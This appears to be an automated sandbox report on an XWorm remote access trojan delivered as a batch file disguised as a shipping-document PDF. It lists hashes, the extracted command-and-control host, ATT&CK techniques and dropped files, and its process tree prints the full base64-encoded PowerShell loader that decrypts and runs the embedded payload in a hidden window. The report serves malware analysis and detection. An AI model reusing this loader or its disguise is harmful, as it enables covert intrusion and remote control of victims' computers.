xworm | feada76fd75410d24b52dd6b9dede5ad0d1357f69b1c94d29645205793630dd8

General

Target

Original_BL_Shipping_Documents.pdf_.bat
Size

64KB
MD5

c784b6876259c872711eaf78807e5756
SHA1

ef62eccd9a17ade1eaa1b9f17965809e61e1dc06
SHA256

1bccd23f3c83974f8fb8066bf4ceb6b2faa165af846401080bf2cdccd1ef79da
SHA512

4a81baecf18a5c02a1a8058615ddda804c9c52e38853392530207d3c823e1c8cca55ee4976056abce72f06cf4b433c2ed18522e805e536a8aab1a4693c54f26f
SSDEEP

1536:6im/0y4lWcfZP+UtLdxgNp2VnVCiJZkbmEKUgXEXzICKUnFN:6NszDfZ2UCGnVCiIHfj

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expresswealthz.duckdns.org:3911

Mutex

RzkxMatWHp9NDD4H

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3996-21-0x0000024170290000-0x00000241702A0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3996	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_3ba635ac.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_3ba635ac.cmd	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3976	cmd.exe
4800	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3996	powershell.exe
3996	powershell.exe
3996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3996	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3996	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 3976	4800	cmd.exe	88
PID 4800 wrote to memory of 3976	4800	cmd.exe	88
PID 3976 wrote to memory of 3996	3976	cmd.exe	90
PID 3976 wrote to memory of 3996	3976	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Original_BL_Shipping_Documents.pdf_.bat"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Original_BL_Shipping_Documents.pdf_.bat"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskbmV1Y3IgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJG5ldWNyKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRuZXVjciIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRuZXVjciwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkbmV1Y3IiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gaWpjY3ooJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2Mxb2MycjZCQXNYS2JWNmN4ZWw3eDcyckwrYm5sSERwaXlKYVpudUFsTXM9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0NVdzJER2lTem5TejVJK29TVDFFVGc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gcGZ5eXooJHBhcmFtX3Zhcil7CSRieW5qbz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkdmpyY289TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkeHNnbnk9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkYnluam8sIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHhzZ255LkNvcHlUbygkdmpyY28pOwkkeHNnbnkuRGlzcG9zZSgpOwkkYnluam8uRGlzcG9zZSgpOwkkdmpyY28uRGlzcG9zZSgpOwkkdmpyY28uVG9BcnJheSgpO31mdW5jdGlvbiB6bmJpaCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHh0Y3duPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGFibWh6PSR4dGN3bi5FbnRyeVBvaW50OwkkYWJtaHouSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJG5ldWNyOyRhbGpnYz1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJG5ldWNyKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkeHVuIGluICRhbGpnYykgewlpZiAoJHh1bi5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGpsdm16PSR4dW4uU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGxwenB6PVtzdHJpbmdbXV0kamx2bXouU3BsaXQoJ1wnKTskbHpuY3g9cGZ5eXogKGlqY2N6IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGxwenB6WzBdKSkpOyR4b2Z1eT1wZnl5eiAoaWpjY3ogKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbHB6cHpbMV0pKSk7em5iaWggJGx6bmN4ICRudWxsO3puYmloICR4b2Z1eSAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tnor1lvw.erp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
c784b6876259c872711eaf78807e5756

SHA1
ef62eccd9a17ade1eaa1b9f17965809e61e1dc06

SHA256
1bccd23f3c83974f8fb8066bf4ceb6b2faa165af846401080bf2cdccd1ef79da

SHA512
4a81baecf18a5c02a1a8058615ddda804c9c52e38853392530207d3c823e1c8cca55ee4976056abce72f06cf4b433c2ed18522e805e536a8aab1a4693c54f26f

Download Submit
memory/3996-16-0x00007FF9BCEA0000-0x00007FF9BD961000-memory.dmp

Filesize
10.8MB

Download
memory/3996-13-0x00007FF9BCEA0000-0x00007FF9BD961000-memory.dmp

Filesize
10.8MB

Download
memory/3996-14-0x00007FF9BCEA0000-0x00007FF9BD961000-memory.dmp

Filesize
10.8MB

Download
memory/3996-4-0x000002416FCE0000-0x000002416FD02000-memory.dmp

Filesize
136KB

Download
memory/3996-2-0x00007FF9BCEA3000-0x00007FF9BCEA5000-memory.dmp

Filesize
8KB

Download
memory/3996-17-0x00007FF9BCEA0000-0x00007FF9BD961000-memory.dmp

Filesize
10.8MB

Download
memory/3996-18-0x000002416FCD0000-0x000002416FCD8000-memory.dmp

Filesize
32KB

Download
memory/3996-19-0x000002416FD10000-0x000002416FD1E000-memory.dmp

Filesize
56KB

Download
memory/3996-21-0x0000024170290000-0x00000241702A0000-memory.dmp

Filesize
64KB

Download
memory/3996-22-0x00007FF9BCEA3000-0x00007FF9BCEA5000-memory.dmp

Filesize
8KB

Download
memory/3996-23-0x00007FF9BCEA0000-0x00007FF9BD961000-memory.dmp

Filesize
10.8MB

Download
memory/3996-24-0x00007FF9BCEA0000-0x00007FF9BD961000-memory.dmp

Filesize
10.8MB

Download

Analysis

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